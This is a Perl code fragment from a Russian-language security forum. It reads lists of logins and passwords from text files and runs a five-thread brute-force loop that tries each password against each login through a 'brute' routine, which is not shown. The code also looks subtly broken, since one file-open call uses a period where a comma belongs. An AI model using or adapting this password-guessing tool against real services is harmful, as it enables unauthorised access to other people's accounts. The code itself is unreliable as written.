ANTICHAT — форум по информационной безопасности, OSINT и технологиям

open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt
open my $FP, '<'. 'pass.txt' or die "No password list: $! \n";  # Пароли в  pass.txt
my @login = <$FL>;
my @pass = <$FP>;
close $FP;
close $FL;

#my $login_username = 'login'; # ЛОГИН!
foreach my $login_username (@login) {
  chomp $login_username;
  my $i = 0;
  my @thr;
  my $ua = LWP::UserAgent->new;
  my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
  $ua->cookie_jar ($cookies);
  for my $nowpass (@pass) {
    chomp $nowpass;
    if ($thr[$i]) {
      threads->object ($thr[$i]->tid())->join;
    }
    $thr[$i] = threads->create (\&brute, $login_username, $nowpass);

    $i = ($i + 1) % 5; #Количество потоков  (5)
  }
}